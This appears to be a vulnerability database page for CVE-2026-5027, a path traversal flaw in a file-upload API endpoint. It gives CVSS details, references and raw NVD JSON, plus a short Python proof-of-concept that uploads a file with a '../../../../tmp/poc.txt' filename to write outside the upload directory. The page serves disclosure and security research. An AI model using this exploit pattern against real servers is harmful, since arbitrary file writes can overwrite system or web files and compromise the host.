CVE-2026-5027

Description

The 'POST /api/v2/files' endpoint does not sanitize the 'filename' parameter from the multipart form data, allowing an attacker to write files to arbitrary locations on the filesystem using path traversal sequences ('../').

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

未知版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL
target_url = "http://target.com/api/v2/files"

# Malicious filename using path traversal
filename = "../../../../tmp/poc.txt"

# File content
file_content = b"Vulnerable to CVE-2026-5027"

# Construct multipart form data
files = {
    'file': (filename, file_content, 'text/plain')
}

# Send POST request
response = requests.post(target_url, files=files)

# Check response
if response.status_code == 200:
    print("[+] Exploit successful! File likely written.")
else:
    print("[-] Exploit failed. Status code:", response.status_code)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5027
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5027
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5027/
[4] VulDB https://vuldb.com/cve/CVE-2026-5027
[5] https://www.tenable.com/security/research/tra-2026-26

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5027", "sourceIdentifier": "[email protected]", "published": "2026-03-27T15:17:04.743", "lastModified": "2026-03-30T13:26:29.793", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The 'POST /api/v2/files' endpoint does not sanitize the 'filename' parameter from the multipart form data, allowing an attacker to write files to arbitrary locations on the filesystem using path traversal sequences ('../')."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://www.tenable.com/security/research/tra-2026-26", "source": "[email protected]"}]}}